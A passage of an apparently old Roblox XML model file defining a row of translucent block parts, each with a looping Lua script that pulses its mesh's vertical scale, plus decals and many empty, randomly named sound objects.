									<Item class="StockSound" referent="RBX916">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">3aj7uyeo</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX917">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX918">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">t78mq</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX919">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">sxabavp</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX920">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX921">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>93.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX922">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX923">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">9pq3c</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX924">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.79999995</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX925">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">4ow3</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX926">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">qpziswp1</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX927">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX928">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>92.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX929">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX930">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">hf687</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX931">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.60000002</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX932">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">9xn4</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX933">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">swu2yqdzn</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX934">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX935">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>91.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX936">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX937">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">niytxcw0i</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX938">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.39999998</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX939">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">uuoj</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX940">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">fqyb5ocz</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX941">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX942">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>90.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX943">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX944">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">8gu7uv9za</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX945">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.20000005</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX946">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">naweez</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX947">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">inaye</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX948">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX949">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>89.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX950">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX951">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">3qf3va</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX952">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
